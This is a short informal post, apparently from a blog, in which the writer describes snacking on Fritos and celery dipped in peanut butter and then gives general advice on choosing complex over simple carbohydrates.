I like to get some fritos and dip them in peanut butter for a snack. I can really chow down on them. Celery sticks are good dipped in peanut butter, too. I also, like pimento cheese, to dip with, and you know what happens to my waistline, when I partake.. :( . You only live once, and I’ve gotten into doing this once too often, while watching TV :(

Simple carbohydrates are usually sweet and can include cakes, candies and other sugary foods. Some foods such as peaches, melons and apples are simple carbs. Complex carbs include whole grain pasta, brown rice, oats, vegetables and whole grain cereals. For the most part, try to stick with complex carbs which take longer to digest and are rich in fiber, vitamins and minerals. Make your food complex. as in carbohydrates. White bread, cookies, pasta and other highly-processed foods give carbs a bad name.
